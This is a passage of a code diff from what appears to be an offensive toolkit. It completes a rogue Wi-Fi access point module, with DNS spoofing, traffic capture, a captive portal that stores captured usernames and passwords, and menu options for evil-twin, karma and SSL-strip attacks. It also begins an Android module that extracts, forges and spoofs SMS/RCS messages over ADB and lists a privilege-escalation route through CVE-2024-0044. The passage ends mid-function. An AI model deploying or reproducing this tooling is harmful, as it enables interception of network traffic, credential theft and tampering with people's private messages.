+ self.traffic_dir, f'traffic_{int(time.time())}.pcap'
+ )
+
+ cmd = [self.tcpdump, '-i', iface, '-w', cap_file, '-c', '10000']
+ if filter_expr:
+ cmd.extend(filter_expr.split())
+
+ try:
+ self._sniff_proc = subprocess.Popen(
+ cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE
+ )
+
+ # Schedule auto-stop
+ def _auto_stop():
+ time.sleep(duration)
+ if self._sniff_proc and self._sniff_proc.poll() is None:
+ try:
+ self._sniff_proc.send_signal(signal.SIGINT)
+ self._sniff_proc.wait(timeout=5)
+ except Exception:
+ pass
+
+ threading.Thread(target=_auto_stop, daemon=True).start()
+
+ return {
+ 'ok': True,
+ 'message': f'Traffic capture started on {iface} ({duration}s)',
+ 'capture_file': cap_file,
+ 'pid': self._sniff_proc.pid
+ }
+
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ def stop_sniff(self) -> Dict:
+ """Stop traffic capture."""
+ if self._sniff_proc and self._sniff_proc.poll() is None:
+ try:
+ self._sniff_proc.send_signal(signal.SIGINT)
+ self._sniff_proc.wait(timeout=5)
+ except Exception:
+ try:
+ self._sniff_proc.kill()
+ except Exception:
+ pass
+ self._sniff_proc = None
+ return {'ok': True, 'message': 'Traffic capture stopped'}
+ return {'ok': False, 'error': 'No capture running'}
+
+ def get_traffic_stats(self) -> Dict:
+ """Get bandwidth usage, top domains, top clients."""
+ stats = {
+ 'total_bytes': 0,
+ 'top_domains': [],
+ 'top_clients': [],
+ 'capture_files': []
+ }
+
+ # Parse dnsmasq query log for top domains
+ log_file = os.path.join(self.data_dir, 'dnsmasq.log')
+ domain_counts: Dict[str, int] = {}
+ if os.path.exists(log_file):
+ try:
+ with open(log_file, 'r') as f:
+ for line in f:
+ m = re.search(r'query\[A\]\s+(\S+)\s+from\s+(\S+)', line)
+ if m:
+ domain = m.group(1)
+ client_ip = m.group(2)
+ domain_counts[domain] = domain_counts.get(domain, 0) + 1
+ except Exception:
+ pass
+
+ stats['top_domains'] = sorted(
+ [{'domain': k, 'queries': v} for k, v in domain_counts.items()],
+ key=lambda x: x['queries'], reverse=True
+ )[:20]
+
+ # Client data from leases
+ client_usage = {}
+ for mac, info in self._clients.items():
+ client_usage[mac] = {
+ 'mac': mac,
+ 'ip': info.get('ip', ''),
+ 'hostname': info.get('hostname', ''),
+ 'data_usage': info.get('data_usage', 0)
+ }
+
+ stats['top_clients'] = sorted(
+ list(client_usage.values()),
+ key=lambda x: x['data_usage'], reverse=True
+ )[:20]
+
+ # List traffic capture files
+ try:
+ traffic_path = Path(self.traffic_dir)
+ for f in sorted(traffic_path.glob('*.pcap'), reverse=True):
+ stats['capture_files'].append({
+ 'name': f.name,
+ 'path': str(f),
+ 'size': f.stat().st_size,
+ 'modified': datetime.fromtimestamp(f.stat().st_mtime).isoformat()
+ })
+ except Exception:
+ pass
+
+ return stats
+
+ # ── NAT / iptables Helpers ───────────────────────────────────────────
+
+ def _setup_nat(self, ap_iface: str, inet_iface: str, subnet: str):
+ """Set up NAT forwarding between AP and internet interface."""
+ if not self.iptables:
+ return
+
+ try:
+ # Enable IP forwarding
+ subprocess.run(
+ ['sysctl', '-w', 'net.ipv4.ip_forward=1'],
+ capture_output=True, timeout=5
+ )
+
+ # NAT masquerade
+ subprocess.run([
+ self.iptables, '-t', 'nat', '-A', 'POSTROUTING',
+ '-o', inet_iface, '-j', 'MASQUERADE'
+ ], capture_output=True, timeout=5)
+
+ # Allow forwarding
+ subprocess.run([
+ self.iptables, '-A', 'FORWARD',
+ '-i', ap_iface, '-o', inet_iface, '-j', 'ACCEPT'
+ ], capture_output=True, timeout=5)
+
+ subprocess.run([
+ self.iptables, '-A', 'FORWARD',
+ '-i', inet_iface, '-o', ap_iface,
+ '-m', 'state', '--state', 'RELATED,ESTABLISHED',
+ '-j', 'ACCEPT'
+ ], capture_output=True, timeout=5)
+
+ except Exception:
+ pass
+
+ def _teardown_nat(self, ap_iface: str, inet_iface: str):
+ """Remove NAT forwarding rules."""
+ if not self.iptables:
+ return
+
+ try:
+ subprocess.run([
+ self.iptables, '-t', 'nat', '-D', 'POSTROUTING',
+ '-o', inet_iface, '-j', 'MASQUERADE'
+ ], capture_output=True, timeout=5)
+
+ subprocess.run([
+ self.iptables, '-D', 'FORWARD',
+ '-i', ap_iface, '-o', inet_iface, '-j', 'ACCEPT'
+ ], capture_output=True, timeout=5)
+
+ subprocess.run([
+ self.iptables, '-D', 'FORWARD',
+ '-i', inet_iface, '-o', ap_iface,
+ '-m', 'state', '--state', 'RELATED,ESTABLISHED',
+ '-j', 'ACCEPT'
+ ], capture_output=True, timeout=5)
+ except Exception:
+ pass
+
+ def _restart_dnsmasq(self) -> Dict:
+ """Restart dnsmasq with current configuration (including DNS spoofs)."""
+ if self._dnsmasq_proc:
+ try:
+ self._dnsmasq_proc.terminate()
+ self._dnsmasq_proc.wait(timeout=5)
+ except Exception:
+ try:
+ self._dnsmasq_proc.kill()
+ except Exception:
+ pass
+
+ ap_ip = '10.0.0.1'
+ dnsmasq_conf = os.path.join(self.configs_dir, 'dnsmasq.conf')
+ dns_lines = [
+ f'interface={self._ap_interface}',
+ 'bind-interfaces',
+ f'dhcp-range=10.0.0.10,10.0.0.250,255.255.255.0,12h',
+ f'dhcp-option=3,{ap_ip}',
+ f'dhcp-option=6,{ap_ip}',
+ 'server=8.8.8.8',
+ 'server=8.8.4.4',
+ 'log-queries',
+ f'log-facility={os.path.join(self.data_dir, "dnsmasq.log")}',
+ f'dhcp-leasefile={os.path.join(self.data_dir, "dnsmasq.leases")}',
+ ]
+
+ if self._dns_spoof_active and self._dns_spoofs:
+ for domain, ip in self._dns_spoofs.items():
+ dns_lines.append(f'address=/{domain}/{ip}')
+
+ with open(dnsmasq_conf, 'w') as f:
+ f.write('\n'.join(dns_lines) + '\n')
+
+ try:
+ self._dnsmasq_proc = subprocess.Popen(
+ [self.dnsmasq, '-C', dnsmasq_conf, '-d'],
+ stdout=subprocess.PIPE, stderr=subprocess.PIPE
+ )
+ time.sleep(0.5)
+ if self._dnsmasq_proc.poll() is not None:
+ stderr = self._dnsmasq_proc.stderr.read().decode(errors='replace')
+ return {'ok': False, 'error': f'dnsmasq restart failed: {stderr[:200]}'}
+
+ msg = 'dnsmasq restarted'
+ if self._dns_spoof_active:
+ msg += f' with {len(self._dns_spoofs)} DNS spoof(s)'
+ return {'ok': True, 'message': msg}
+ except Exception as e:
+ return {'ok': False, 'error': str(e)}
+
+ # ── Internal Helpers ─────────────────────────────────────────────────
+
+ def _get_interface_mac(self, interface: str) -> str:
+ """Get MAC address of an interface."""
+ try:
+ mac_file = Path(f'/sys/class/net/{interface}/address')
+ if mac_file.exists():
+ return mac_file.read_text().strip().upper()
+ except Exception:
+ pass
+
+ if self.ip_bin:
+ try:
+ out = subprocess.check_output(
+ [self.ip_bin, 'link', 'show', interface],
+ text=True, timeout=5
+ )
+ m = re.search(r'link/ether\s+([0-9a-fA-F:]+)', out)
+ if m:
+ return m.group(1).upper()
+ except Exception:
+ pass
+ return ''
+
+ def _fingerprint_os(self, hostname: str, mac: str) -> str:
+ """Basic OS fingerprinting from hostname and MAC OUI."""
+ hostname_lower = hostname.lower() if hostname else ''
+
+ if 'iphone' in hostname_lower or 'ipad' in hostname_lower:
+ return 'iOS'
+ if 'android' in hostname_lower or 'galaxy' in hostname_lower or 'pixel' in hostname_lower:
+ return 'Android'
+ if 'macbook' in hostname_lower or 'imac' in hostname_lower:
+ return 'macOS'
+ if hostname_lower.startswith('desktop-') or hostname_lower.startswith('laptop-'):
+ return 'Windows'
+
+ # OUI-based fingerprinting
+ oui = mac[:8].upper() if mac else ''
+ apple_ouis = [
+ '00:03:93', '00:05:02', '00:0A:27', '00:0A:95', '00:0D:93',
+ '00:10:FA', '00:11:24', '00:14:51', '00:16:CB', '00:17:F2',
+ '00:19:E3', '00:1B:63', '00:1C:B3', '00:1D:4F', '00:1E:52',
+ '00:1E:C2', '00:1F:5B', '00:1F:F3', '00:21:E9', '00:22:41',
+ '00:23:12', '00:23:32', '00:23:6C', '00:23:DF', '00:24:36',
+ '00:25:00', '00:25:4B', '00:25:BC', '00:26:08', '00:26:4A',
+ '00:26:B0', '00:26:BB', '3C:07:54', '7C:D1:C3', 'A4:83:E7',
+ 'AC:BC:32', 'B8:53:AC', 'D0:E1:40', 'F0:B4:79', 'F4:5C:89',
+ ]
+ if oui in apple_ouis:
+ return 'Apple'
+
+ samsung_ouis = ['00:07:AB', '00:12:47', '00:15:99', '00:16:32', '00:17:D5',
+ '00:18:AF', '00:1A:8A', '00:1B:98', '00:1C:43', '00:1D:25',
+ '00:1E:E1', '00:1E:E2', '00:21:19', '00:21:D1', '00:23:39',
+ '00:23:99', '00:23:D6', '00:23:D7', '00:24:54', '00:24:90',
+ '00:24:91', '00:25:66', '00:25:67', '00:26:37', '00:26:5D']
+ if oui in samsung_ouis:
+ return 'Android (Samsung)'
+
+ return ''
+
+ def _save_captures(self):
+ """Persist captured credentials to disk."""
+ cap_file = os.path.join(self.data_dir, 'portal_captures.json')
+ try:
+ with open(cap_file, 'w') as f:
+ json.dump(self._portal_captures, f, indent=2)
+ except Exception:
+ pass
+
+ def _load_captures(self):
+ """Load persisted captures from disk."""
+ cap_file = os.path.join(self.data_dir, 'portal_captures.json')
+ if os.path.exists(cap_file):
+ try:
+ with open(cap_file, 'r') as f:
+ self._portal_captures = json.load(f)
+ except Exception:
+ self._portal_captures = []
+
+
+# ── Singleton ────────────────────────────────────────────────────────────────
+
+_instance = None
+
+def get_pineapple() -> PineappleAP:
+ global _instance
+ if _instance is None:
+ _instance = PineappleAP()
+ return _instance
+
+
+# ── CLI Interface ────────────────────────────────────────────────────────────
+
+def run():
+ """CLI entry point for WiFi Pineapple / Rogue AP module."""
+ ap = get_pineapple()
+
+ while True:
+ status = ap.get_status()
+ tools = ap.get_tools_status()
+ available = sum(1 for v in tools.values() if v)
+
+ print(f"\n{'='*60}")
+ print(f" WiFi Pineapple / Rogue AP ({available}/{len(tools)} tools)")
+ print(f"{'='*60}")
+ if status['running']:
+ print(f" AP Status: RUNNING")
+ print(f" SSID: {status['ssid']} Channel: {status['channel']}")
+ print(f" Interface: {status['interface']}")
+ print(f" Clients: {status['client_count']}")
+ if status['portal_active']:
+ print(f" Portal: {status['portal_type']}")
+ if status['karma_active']:
+ print(f" Karma: ACTIVE")
+ if status['dns_spoof_active']:
+ print(f" DNS Spoofs: {len(status['dns_spoofs'])} entries")
+ else:
+ print(f" AP Status: STOPPED")
+ print()
+ print(" 1 — Start Rogue AP")
+ print(" 2 — Stop Rogue AP")
+ print(" 3 — Evil Twin Attack")
+ print(" 4 — Captive Portal")
+ print(" 5 — View Clients")
+ print(" 6 — DNS Spoof")
+ print(" 7 — Karma Attack")
+ print(" 8 — SSL Strip")
+ print(" 9 — View Captures")
+ print(" 10 — Traffic Stats")
+ print(" 11 — Tool Status")
+ print(" 0 — Back")
+ print()
+
+ choice = input(" > ").strip()
+
+ if choice == '0':
+ break
+
+ elif choice == '1':
+ ifaces = ap.get_interfaces()
+ wireless = [i for i in ifaces if i.get('wireless', True)]
+ if wireless:
+ print(" Wireless interfaces:")
+ for i, ifc in enumerate(wireless):
+ print(f" {i+1}. {ifc['name']} (mode={ifc['mode']}, ch={ifc['channel']})")
+ ssid = input(" SSID: ").strip()
+ iface = input(" Interface: ").strip()
+ ch = input(" Channel (default 6): ").strip()
+ enc = input(" Encryption (open/wpa2, default open): ").strip() or 'open'
+ pwd = ''
+ if enc in ('wpa', 'wpa2'):
+ pwd = input(" Password: ").strip()
+ inet = input(" Internet interface (blank=none): ").strip() or None
+ result = ap.start_rogue_ap(
+ ssid, iface, int(ch) if ch.isdigit() else 6,
+ enc, pwd, inet
+ )
+ print(f" {result.get('message', result.get('error', 'Unknown'))}")
+
+ elif choice == '2':
+ result = ap.stop_rogue_ap()
+ print(f" {result.get('message', result.get('error'))}")
+
+ elif choice == '3':
+ target = input(" Target SSID: ").strip()
+ bssid = input(" Target BSSID: ").strip()
+ iface = input(" Interface: ").strip()
+ inet = input(" Internet interface (blank=none): ").strip() or None
+ result = ap.evil_twin(target, bssid, iface, inet)
+ print(f" {result.get('message', result.get('error'))}")
+
+ elif choice == '4':
+ print(" Portal types: hotel_wifi, corporate, social_login, terms_accept")
+ ptype = input(" Portal type: ").strip() or 'hotel_wifi'
+ if ap._portal_active:
+ result = ap.stop_captive_portal()
+ else:
+ result = ap.start_captive_portal(ptype)
+ print(f" {result.get('message', result.get('error'))}")
+
+ elif choice == '5':
+ clients = ap.get_clients()
+ if clients:
+ print(f" Connected clients ({len(clients)}):")
+ for c in clients:
+ print(f" {c['mac']} {c['ip']:<15} {c['hostname']:<20} {c['os']}")
+ else:
+ print(" No connected clients")
+
+ elif choice == '6':
+ if ap._dns_spoof_active:
+ result = ap.disable_dns_spoof()
+ else:
+ spoofs = {}
+ while True:
+ domain = input(" Domain (blank to finish): ").strip()
+ if not domain:
+ break
+ ip = input(f" IP for {domain}: ").strip()
+ if ip:
+ spoofs[domain] = ip
+ if spoofs:
+ result = ap.enable_dns_spoof(spoofs)
+ else:
+ result = {'ok': False, 'error': 'No spoofs entered'}
+ print(f" {result.get('message', result.get('error'))}")
+
+ elif choice == '7':
+ if ap._karma_active:
+ result = ap.disable_karma()
+ else:
+ iface = input(" Interface (blank=AP interface): ").strip() or None
+ result = ap.enable_karma(iface)
+ print(f" {result.get('message', result.get('error'))}")
+
+ elif choice == '8':
+ if ap._sslstrip_active:
+ result = ap.disable_ssl_strip()
+ else:
+ result = ap.enable_ssl_strip()
+ print(f" {result.get('message', result.get('error'))}")
+
+ elif choice == '9':
+ captures = ap.get_portal_captures()
+ if captures:
+ print(f" Captured credentials ({len(captures)}):")
+ for c in captures:
+ print(f" [{c['timestamp'][:19]}] user={c['username']} "
+ f"pass={c['password']} ip={c['ip']}")
+ else:
+ print(" No captures yet")
+
+ elif choice == '10':
+ stats = ap.get_traffic_stats()
+ if stats['top_domains']:
+ print(" Top domains:")
+ for d in stats['top_domains'][:10]:
+ print(f" {d['domain']:<40} {d['queries']} queries")
+ else:
+ print(" No traffic data")
+
+ elif choice == '11':
+ for tool, avail in tools.items():
+ status_str = 'OK' if avail else 'MISSING'
+ print(f" {tool:<15} {status_str}")
diff --git a/modules/rcs_tools.py b/modules/rcs_tools.py
new file mode 100644
index 0000000..0f42c37
--- /dev/null
+++ b/modules/rcs_tools.py
@@ -0,0 +1,1969 @@
+"""AUTARCH RCS/SMS Exploitation v2.0
+
+Comprehensive RCS/SMS message extraction, forging, modification, and exploitation
+on connected Android devices via ADB content provider commands, Shizuku shell
+access, CVE-2024-0044 privilege escalation, AOSP RCS provider queries, and
+Archon app integration.
+
+All operations execute on the target phone — nothing runs locally except
+command dispatch and output parsing. Messages in bugle_db are stored as
+PLAINTEXT after E2EE decryption, so no key extraction is needed for reading.
+
+Exploitation paths (in order of preference):
+ 1. Content providers (UID 2000 / shell — no root needed)
+ 2. Archon app relay (READ_SMS + Shizuku → bugle_db access)
+ 3. CVE-2024-0044 (Android 12-13 pre-Oct 2024 — full app-UID access)
+ 4. ADB backup (deprecated on Android 12+ but works on some devices)
+ 5. Root (if available)
+"""
+
+DESCRIPTION = "RCS/SMS Exploitation — Database extraction, forging, backup & spoofing"
+AUTHOR = "AUTARCH"
+VERSION = "2.0"
+CATEGORY = "offense"
+
+import os
+import re
+import csv
+import json
+import time
+import shlex
+import struct
+import sqlite3
+import subprocess
+import threading
+import zlib
+from io import StringIO
+from pathlib import Path
+from datetime import datetime, timezone, timedelta
+from typing import Dict, List, Optional, Any, Tuple
+from xml.etree import ElementTree as ET
+
+try:
+ from core.paths import find_tool, get_data_dir
+except ImportError:
+ import shutil as _sh
+
+ def find_tool(name):
+ return _sh.which(name)
+
+ def get_data_dir():
+ return Path(__file__).resolve().parent.parent / 'data'
+
+
+# ── Module-level singleton ──────────────────────────────────────────────────
+
+_instance: Optional['RCSTools'] = None
+
+
+def get_rcs_tools() -> 'RCSTools':
+ global _instance
+ if _instance is None:
+ _instance = RCSTools()
+ return _instance
+
+
+# ── Constants ────────────────────────────────────────────────────────────────
+
+# Standard Android telephony content providers (accessible at UID 2000)
+SMS_URI = 'content://sms/'
+SMS_INBOX_URI = 'content://sms/inbox'
+SMS_SENT_URI = 'content://sms/sent'
+SMS_DRAFT_URI = 'content://sms/draft'
+SMS_OUTBOX_URI = 'content://sms/outbox'
+MMS_URI = 'content://mms/'
+MMS_INBOX_URI = 'content://mms/inbox'
+MMS_SENT_URI = 'content://mms/sent'
+MMS_PART_URI = 'content://mms/part'
+MMS_SMS_CONVERSATIONS_URI = 'content://mms-sms/conversations'
+MMS_SMS_DRAFT_URI = 'content://mms-sms/draft'
+MMS_SMS_UNDELIVERED_URI = 'content://mms-sms/undelivered'
+MMS_SMS_LOCKED_URI = 'content://mms-sms/locked'
+
+# AOSP RCS content provider (authority: "rcs")
+RCS_THREAD_URI = 'content://rcs/thread'
+RCS_P2P_THREAD_URI = 'content://rcs/p2p_thread'
+RCS_GROUP_THREAD_URI = 'content://rcs/group_thread'
+RCS_PARTICIPANT_URI = 'content://rcs/participant'
+RCS_MESSAGE_URI_FMT = 'content://rcs/p2p_thread/{thread_id}/message'
+RCS_FILE_TRANSFER_URI_FMT = 'content://rcs/p2p_thread/{thread_id}/file_transfer'
+RCS_INCOMING_MSG_URI_FMT = 'content://rcs/p2p_thread/{thread_id}/incoming_message'
+RCS_OUTGOING_MSG_URI_FMT = 'content://rcs/p2p_thread/{thread_id}/outgoing_message'
+
+# Google Messages proprietary providers (may require elevated access)
+GMSGS_PROVIDER = 'content://com.google.android.apps.messaging.datamodel.MessagingContentProvider'
+
+# All known RCS-related content provider URIs to enumerate
+ALL_RCS_URIS = [
+ 'content://rcs/thread',
+ 'content://rcs/p2p_thread',
+ 'content://rcs/group_thread',
+ 'content://rcs/participant',
+ 'content://im/messages/',
+ 'content://com.google.android.apps.messaging/messages',
+ 'content://com.google.android.apps.messaging.datamodel.MessagingContentProvider',
+ 'content://com.google.android.ims.provider/',
+ 'content://com.google.android.gms.ims.provider/',
+ 'content://com.google.android.rcs.provider/',
+ 'content://com.samsung.android.messaging/',
+ 'content://com.samsung.rcs.autoconfigurationprovider/root/*',
+]
+
+# SMS type codes (android.provider.Telephony.Sms constants)
+MSG_TYPE_ALL = 0
+MSG_TYPE_INBOX = 1 # received
+MSG_TYPE_SENT = 2 # sent
+MSG_TYPE_DRAFT = 3
+MSG_TYPE_OUTBOX = 4
+MSG_TYPE_FAILED = 5
+MSG_TYPE_QUEUED = 6
+
+# MMS message box codes
+MMS_BOX_INBOX = 1
+MMS_BOX_SENT = 2
+MMS_BOX_DRAFT = 3
+MMS_BOX_OUTBOX = 4
+
+# bugle_db message_protocol values
+PROTOCOL_SMS = 0
+PROTOCOL_MMS = 1
+PROTOCOL_RCS = 2 # Google proprietary — values >= 2 indicate RCS
+
+# bugle_db paths on device
+BUGLE_DB_PATHS = [
+ '/data/data/com.google.android.apps.messaging/databases/bugle_db',
+ '/data/user/0/com.google.android.apps.messaging/databases/bugle_db',
+ '/data/data/com.android.messaging/databases/bugle_db',
+]
+
+# Telephony provider database
+MMSSMS_DB_PATHS = [
+ '/data/data/com.android.providers.telephony/databases/mmssms.db',
+ '/data/user_de/0/com.android.providers.telephony/databases/mmssms.db',
+]
+
+# Samsung messaging databases
+SAMSUNG_DB_PATHS = [
+ '/data/data/com.samsung.android.messaging/databases/',
+ '/data/data/com.sec.android.provider.logsprovider/databases/logs.db',
+]
+
+# Known messaging packages
+MESSAGING_PACKAGES = [
+ 'com.google.android.apps.messaging', # Google Messages
+ 'com.android.messaging', # AOSP Messages
+ 'com.samsung.android.messaging', # Samsung Messages
+ 'com.verizon.messaging.vzmsgs', # Verizon Message+
+]
+
+# Column projections
+SMS_COLUMNS = '_id:thread_id:address:body:date:date_sent:type:read:status:protocol:service_center:person:subject:locked:seen'
+MMS_COLUMNS = '_id:thread_id:date:msg_box:sub:sub_cs:ct_l:exp:m_type:read:seen:st'
+MMS_PART_COLUMNS = '_id:mid:ct:text:_data:name'
+
+# Known CVEs affecting RCS/Android messaging
+RCS_CVES = {
+ 'CVE-2023-24033': {
+ 'severity': 'critical', 'cvss': 9.8,
+ 'desc': 'Samsung Exynos baseband RCE via RCS SDP accept-type parsing',
+ 'affected': 'Exynos 5123, 5300, 980, 1080, Auto T5123',
+ 'type': 'zero-click', 'discoverer': 'Google Project Zero',
+ 'mitigation': 'Disable Wi-Fi calling and VoLTE; apply March 2023 patches',
+ },
+ 'CVE-2024-0044': {
+ 'severity': 'high', 'cvss': 7.8,
+ 'desc': 'Android run-as privilege escalation via newline injection in PackageInstallerService',
+ 'affected': 'Android 12-13 pre-October 2024 security patch',
+ 'type': 'local', 'discoverer': 'Meta Red Team X',
+ 'mitigation': 'Apply October 2024 security patch',
+ 'exploit_available': True,
+ },
+ 'CVE-2024-31317': {
+ 'severity': 'high', 'cvss': 7.8,
+ 'desc': 'Android system_server run-as bypass via command injection',
+ 'affected': 'Android 12-14 pre-QPR2',
+ 'type': 'local', 'discoverer': 'Meta Red Team X',
+ 'mitigation': 'Apply June 2024 security patch',
+ },
+ 'CVE-2024-49415': {
+ 'severity': 'high', 'cvss': 8.1,
+ 'desc': 'Samsung libsaped.so zero-click RCE via RCS audio message (OOB write in APE decoder)',
+ 'affected': 'Samsung Galaxy S23/S24 Android 12-14 pre-December 2024',
+ 'type': 'zero-click', 'discoverer': 'Natalie Silvanovich (Project Zero)',
+ 'mitigation': 'Apply December 2024 Samsung security patch',
+ },
+ 'CVE-2025-48593': {
+ 'severity': 'critical', 'cvss': 9.8,
+ 'desc': 'Android System component zero-click RCE',
+ 'affected': 'Android 13, 14, 15, 16',
+ 'type': 'zero-click', 'discoverer': 'Android Security Team',
+ 'mitigation': 'Apply November 2025 security patch',
+ },
+ 'CVE-2017-0780': {
+ 'severity': 'medium', 'cvss': 5.5,
+ 'desc': 'Android Messages crash via crafted message (DoS)',
+ 'affected': 'Android 4.4-8.0',
+ 'type': 'remote', 'discoverer': 'Trend Micro',
+ 'mitigation': 'Update to patched Android version',
+ },
+}
+
+# Phenotype flags for Google Messages debug/verbose logging
+PHENOTYPE_FLAGS = {
+ 'verbose_bug_reports': 'bugle_phenotype__enable_verbose_bug_reports',
+ 'rcs_diagnostics': 'bugle_phenotype__enable_rcs_diagnostics',
+ 'debug_mode': 'bugle_phenotype__enable_debug_mode',
+}
+
+# Enterprise archival broadcast
+ARCHIVAL_BROADCAST_ACTION = 'GOOGLE_MESSAGES_ARCHIVAL_UPDATE'
+ARCHIVAL_URI_EXTRA = 'com.google.android.apps.messaging.EXTRA_ARCHIVAL_URI'
+
+
+# ── RCSTools Class ───────────────────────────────────────────────────────────
+
+class RCSTools:
+ """Comprehensive RCS/SMS exploitation via ADB."""
+
+ def __init__(self):
+ self._adb_path: Optional[str] = None
+ self._data_dir: Path = Path(get_data_dir()) / 'rcs_tools'
+ self._data_dir.mkdir(parents=True, exist_ok=True)
+ self._backups_dir: Path = self._data_dir / 'backups'
+ self._backups_dir.mkdir(parents=True, exist_ok=True)
+ self._exports_dir: Path = self._data_dir / 'exports'
+ self._exports_dir.mkdir(parents=True, exist_ok=True)
+ self._extracted_dir: Path = self._data_dir / 'extracted_dbs'
+ self._extracted_dir.mkdir(parents=True, exist_ok=True)
+ self._monitor_thread: Optional[threading.Thread] = None
+ self._monitor_running = False
+ self._intercepted: List[Dict[str, Any]] = []
+ self._intercepted_lock = threading.Lock()
+ self._forged_log: List[Dict[str, Any]] = []
+ self._cve_exploit_active = False
+ self._exploit_victim_name: Optional[str] = None
+
+ # ══════════════════════════════════════════════════════════════════════
+ # §1 ADB HELPERS
+ # ══════════════════════════════════════════════════════════════════════
+
+ def _get_adb(self) -> str:
+ if self._adb_path is None:
+ self._adb_path = find_tool('adb')
+ if not self._adb_path:
+ raise RuntimeError('adb not found')
+ return self._adb_path
+
+ def _run_adb(self, command: str, timeout: int = 30) -> str:
+ adb = self._get_adb()
+ full_cmd = f'{adb} {command}'
+ try:
+ result = subprocess.run(
+ full_cmd, shell=True, capture_output=True, text=True, timeout=timeout,
+ )
+ if result.returncode != 0 and result.stderr.strip():
+ return f'[adb error] {result.stderr.strip()}'
+ return result.stdout.strip()
+ except subprocess.TimeoutExpired:
+ return f'[adb error] Command timed out after {timeout}s'
+ except Exception as e:
+ return f'[adb error] {e}'
+
+ def _run_adb_binary(self, command: str, timeout: int = 60) -> Optional[bytes]:
+ adb = self._get_adb()
+ full_cmd = f'{adb} {command}'
+ try:
+ result = subprocess.run(
+ full_cmd, shell=True, capture_output=True, timeout=timeout,
+ )
+ if result.returncode != 0:
+ return None
+ return result.stdout
+ except Exception:
+ return None
+
+ def _run_shizuku(self, command: str, timeout: int = 30) -> str:
+ escaped = command.replace("'", "'\\''")
+ return self._run_adb(f"shell sh -c '{escaped}'", timeout=timeout)
+
+ def _shell(self, command: str, timeout: int = 30) -> str:
+ return self._run_adb(f'shell {command}', timeout=timeout)
+
+ def _content_query(self, uri: str, projection: str = '', where: str = '',
+ sort: str = '', limit: int = 0) -> List[Dict[str, str]]:
+ cmd = f'shell content query --uri {uri}'
+ if projection:
+ cmd += f' --projection {projection}'
+ if where:
+ cmd += f' --where "{where}"'
+ if sort:
+ cmd += f' --sort "{sort}"'
+ output = self._run_adb(cmd, timeout=30)
+ rows = self._parse_content_query(output)
+ if limit > 0:
+ rows = rows[:limit]
+ return rows
+
+ def _content_insert(self, uri: str, bindings: Dict[str, Any]) -> str:
+ cmd = f'shell content insert --uri {uri}'
+ for key, val in bindings.items():
+ if val is None:
+ cmd += f' --bind {key}:s:NULL'
+ elif isinstance(val, int):
+ cmd += f' --bind {key}:i:{val}'
+ elif isinstance(val, float):
+ cmd += f' --bind {key}:f:{val}'
+ else:
+ safe = str(val).replace("'", "'\\''")
+ cmd += f" --bind {key}:s:'{safe}'"
+ return self._run_adb(cmd)
+
+ def _content_update(self, uri: str, bindings: Dict[str, Any], where: str = '') -> str:
+ cmd = f'shell content update --uri {uri}'
+ for key, val in bindings.items():
+ if val is None:
+ cmd += f' --bind {key}:s:NULL'
+ elif isinstance(val, int):
+ cmd += f' --bind {key}:i:{val}'
+ else:
+ safe = str(val).replace("'", "'\\''")
+ cmd += f" --bind {key}:s:'{safe}'"
+ if where:
+ cmd += f' --where "{where}"'
+ return self._run_adb(cmd)
+
+ def _content_delete(self, uri: str, where: str = '') -> str:
+ cmd = f'shell content delete --uri {uri}'
+ if where:
+ cmd += f' --where "{where}"'
+ return self._run_adb(cmd)
+
+ def _parse_content_query(self, output: str) -> List[Dict[str, str]]:
+ rows = []
+ if not output or output.startswith('[adb error]'):
+ return rows
+ for line in output.splitlines():
+ line = line.strip()
+ if not line.startswith('Row:'):
+ continue
+ match = re.match(r'Row:\s*\d+\s+(.*)', line)
+ if not match:
+ continue
+ payload = match.group(1)
+ row = {}
+ parts = re.split(r',\s+(?=[a-zA-Z_]+=)', payload)
+ for part in parts:
+ eq_pos = part.find('=')
+ if eq_pos == -1:
+ continue
+ key = part[:eq_pos].strip()
+ val = part[eq_pos + 1:].strip()
+ if val == 'NULL':
+ val = None
+ row[key] = val
+ if row:
+ rows.append(row)
+ return rows
+
+ def _is_error(self, output: str) -> bool:
+ return output.startswith('[adb error]') if output else True
+
+ def _ts_ms(self, dt: Optional[datetime] = None) -> int:
+ if dt is None:
+ dt = datetime.now(timezone.utc)
+ return int(dt.timestamp() * 1000)
+
+ def _format_ts(self, ts_ms) -> str:
+ try:
+ ts = int(ts_ms) / 1000
+ return datetime.fromtimestamp(ts, tz=timezone.utc).strftime('%Y-%m-%d %H:%M:%S UTC')
+ except (ValueError, TypeError, OSError):
+ return str(ts_ms)
+
+ # ══════════════════════════════════════════════════════════════════════
+ # §2 DEVICE CONNECTION & STATUS
+ # ══════════════════════════════════════════════════════════════════════
+
+ def get_connected_device(self) -> Dict[str, Any]:
+ output = self._run_adb('devices')
+ devices = []
+ for line in output.splitlines():
+ line = line.strip()
+ if line and not line.startswith('List') and not line.startswith('*'):
+ parts = line.split('\t')
+ if len(parts) >= 2:
+ devices.append({'serial': parts[0], 'state': parts[1]})
+ if not devices:
+ return {'connected': False, 'error': 'No devices connected'}
+ for d in devices:
+ if d['state'] == 'device':
+ return {'connected': True, 'serial': d['serial'], 'state': 'device'}
+ return {'connected': False, 'error': f'Device state: {devices[0]["state"]}'}
+
+ def get_device_info(self) -> Dict[str, Any]:
+ dev = self.get_connected_device()
+ if not dev.get('connected'):
+ return dev
+ info = {
+ 'connected': True,
+ 'serial': dev['serial'],
+ 'model': self._shell('getprop ro.product.model'),
+ 'manufacturer': self._shell('getprop ro.product.manufacturer'),
+ 'android_version': self._shell('getprop ro.build.version.release'),
+ 'sdk_version': self._shell('getprop ro.build.version.sdk'),
+ 'security_patch': self._shell('getprop ro.build.version.security_patch'),
+ 'build_id': self._shell('getprop ro.build.display.id'),
+ 'brand': self._shell('getprop ro.product.brand'),
+ 'device': self._shell('getprop ro.product.device'),
+ 'is_pixel': 'pixel' in self._shell('getprop ro.product.brand').lower()
+ or 'google' in self._shell('getprop ro.product.manufacturer').lower(),
+ 'is_samsung': 'samsung' in self._shell('getprop ro.product.manufacturer').lower(),
+ }
+ # Check default SMS app
+ sms_app = self._shell('settings get secure sms_default_application')
+ info['default_sms_app'] = sms_app if not self._is_error(sms_app) else 'unknown'
+ return info
+
+ def get_status(self) -> Dict[str, Any]:
+ dev = self.get_device_info()
+ if not dev.get('connected'):
+ return {'ok': False, 'connected': False, 'error': dev.get('error', 'Not connected')}
+ # Check Shizuku
